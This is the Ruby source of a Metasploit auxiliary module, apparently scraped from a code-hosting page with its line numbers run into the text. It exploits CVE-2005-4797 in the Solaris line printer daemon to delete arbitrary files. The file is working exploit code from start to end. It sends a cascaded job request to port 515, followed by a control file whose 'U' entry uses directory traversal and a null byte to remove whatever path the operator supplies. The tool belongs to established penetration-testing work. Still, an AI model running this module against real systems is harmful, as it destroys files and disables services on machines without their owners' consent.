Path: blob/master/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Solaris LPD Arbitrary File Delete',15'Description' => %q{16This module uses a vulnerability in the Solaris line printer17daemon to delete arbitrary files on an affected system. This18can be used to exploit the rpc.walld format string flaw, the19missing krb5.conf authentication bypass, or simply delete20system files. Tested on Solaris 2.6, 7, 8, 9, and 10.21},22'Author' => [ 'hdm', 'Optyx <optyx[at]uberhax0r.net>' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2005-4797' ],26[ 'BID', '14510' ],27[ 'OSVDB', '18650' ]28],29'Notes' => {30'Stability' => [SERVICE_RESOURCE_LOSS],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options(38[39Opt::RPORT(515),40OptString.new('RPATH', [ true, 'The remote file path to delete']),41]42)43end4445def run46r_hostname = Rex::Text.rand_text_alpha(1..8)47r_user = Rex::Text.rand_text_alpha(1..8)48r_spool = Rex::Text.rand_text_alpha(1..8)4950# Create a simple control file...51control = "H#{r_hostname}\nP#{r_user}\n"5253# The job ID is squashed down to three decimal digits54jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]5556# Establish the first connection to the server57sock1 = connect(false)5859# Request a cascaded job60sock1.put("\x02#{r_hostname}:#{r_spool}\n")61res = sock1.get_once62if !res63print_status('The target did not accept our job request command')64return65end6667# Theoretically, we could delete multiple files at once, however68# the lp daemon will append garbage from memory to the path name69# if we don't stick a null byte after the path. Unfortunately, this70# null byte will prevent the parser from processing the other paths.71control << 'U' + ('../' * 10) + "#{datastore['RPATH']}\x00\n"7273dataf = Rex::Text.rand_text_alpha(100) + 17475print_status("Deleting #{datastore['RPATH']}...")76if !(77send_file(sock1, 2, 'cfA' + jid + r_hostname, control) &&78send_file(sock1, 3, 'dfa' + jid + r_hostname, dataf)79)80sock1.close81return82end8384print_good("Successfully deleted #{datastore['RPATH']} >:-]")85sock1.close86end8788def send_file(sock, type, name, data = '')89sock.put(type.chr + data.length.to_s + ' ' + name + "\n")90res = sock.get_once(1)91if !(res && res[0] == "\0")92print_status("The target did not accept our control file command (#{name})")93return94end9596sock.put(data)97sock.put("\x00")98res = sock.get_once(1)99if !(res && res[0] == "\0")100print_status("The target did not accept our control file data (#{name})")101return102end103104print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))105return true106end107end108109110